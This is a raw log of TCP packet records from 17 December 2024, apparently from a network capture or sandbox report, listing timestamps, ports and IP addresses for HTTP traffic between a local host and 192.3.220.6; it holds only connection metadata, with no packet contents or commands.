Dec 17, 2024 03:52:00.126512051 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.126564026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.126610041 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.126658916 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.127705097 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.127753973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.127799034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.127846956 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.128870010 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.128917933 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.128959894 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.129013062 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.130059958 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.130106926 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.130147934 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.130194902 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.131232977 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.131284952 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.131334066 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.131378889 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.132447958 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.132502079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.132546902 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.132592916 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.133608103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.133663893 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.133732080 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.133780956 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.134807110 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.134860992 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.134931087 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.134983063 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.135988951 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.136044979 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.136127949 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.136179924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.137161970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.137213945 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.137255907 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.137305975 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.138432980 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.138484955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.138490915 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.138523102 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.139535904 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.139589071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.139638901 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.139693022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.140753984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.140809059 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.140850067 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.140898943 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.141923904 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.141978025 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.142025948 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.142077923 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.143096924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.143150091 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.143194914 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.143246889 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.144323111 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.144377947 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.144418955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.144469976 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.145486116 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.145538092 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.145577908 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.145627022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.146704912 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.146761894 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.146805048 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.146856070 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.147819996 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.147875071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.147969007 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.148019075 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.149019003 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.149069071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.149171114 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.149219990 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.150222063 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.150271893 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.150315046 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.150365114 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.151400089 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.151449919 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.151494026 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.151545048 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.152600050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.152651072 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.152690887 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.152739048 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.153757095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.153809071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.284142017 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.284260988 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.284377098 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.284411907 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.284749031 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.284805059 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.284912109 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.284962893 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.285933971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.285979986 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.286024094 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.286072016 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.287075043 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.287126064 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.287183046 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.287230968 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.288278103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.288328886 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.288367033 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.288408995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.289472103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.289520979 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.289562941 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.289633989 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.290636063 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.290683031 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.290750027 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.290796995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.291834116 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.291903973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.291943073 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.291991949 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.293036938 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.293087959 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.293154001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.293203115 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.294198036 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.294246912 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.294289112 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.294336081 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.295393944 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.295444012 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.295528889 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.295578957 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.296593904 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.296648026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.296694040 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.296745062 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.297775984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.297828913 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.297873974 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.297916889 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.298940897 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.298993111 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.299045086 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.299093008 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.300126076 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.300177097 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.300224066 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.300271988 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.301362038 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.301414013 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.301489115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.301533937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.302503109 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.302553892 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.302598953 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.302649021 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.303699017 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.303760052 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.303798914 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.303844929 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.304872036 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.304924011 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.304981947 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.305032015 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.306066990 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.306118011 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.306164026 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.306210995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.307248116 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.307297945 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.307348967 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.307401896 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.308432102 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.308480978 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.308557987 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.308607101 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.309587002 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.309634924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.309720039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.309767962 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.310791016 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.310892105 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.310929060 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.310988903 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.311971903 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.312021017 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.312113047 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.312165022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.313184023 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.313235998 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.313278913 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.313333035 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.314362049 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.314414024 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.314452887 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.314502954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.315546989 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.315598011 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.315674067 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.315726995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.316720009 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.316771984 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.316817045 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.316864014 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.317917109 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.317975998 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.318023920 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.318078995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.319104910 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.319156885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.319201946 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.319253922 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.320276022 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.320327044 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.320390940 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.320441008 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.321490049 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.321541071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.321578979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.321630955 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.322664976 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.322721004 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.322762966 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.322813034 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.323844910 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.323895931 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.323940039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.323992968 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.325026989 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.325078011 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.325145006 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.325195074 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.326212883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.326265097 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.326308966 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.326359987 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.327406883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.327457905 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.327614069 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.327666044 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.328587055 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.328638077 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.328684092 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.328737020 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.329768896 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.329822063 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.329860926 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.329922915 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.330960035 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.331027985 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.331053972 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.331106901 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.332149982 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.332217932 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.332293034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.332354069 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.333321095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.333374023 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.333412886 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.333462000 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.334639072 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.334697962 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.334764957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.334819078 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.335722923 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.335778952 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.335863113 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.335916996 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.336890936 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.336944103 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.336990118 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.337044954 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.338062048 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.338119984 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.338165998 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.338218927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.339246035 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.339299917 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.339351892 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.339405060 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.340430975 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.340491056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.340532064 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.340585947 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.341610909 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.341675043 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.341715097 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.341768026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.342796087 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.342854023 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.342900991 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.342961073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.343997955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.344063997 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.344108105 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.344158888 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.345175982 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.345227003 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.345266104 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.345318079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.346330881 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.346383095 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.476360083 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.476407051 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.476555109 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.476555109 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.476742983 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.476939917 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.476962090 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.477025032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.477067947 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.477297068 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.478167057 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.478226900 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.478271961 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.478321075 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.479355097 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.479407072 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.479449034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.479499102 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.480526924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.480586052 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.480637074 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.480690002 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.481767893 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.481825113 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.481904984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.481961012 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.482983112 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.483042002 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.483117104 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.483175993 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.484129906 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.484188080 CET	49730	80	192.168.2.4	192.3.220.6
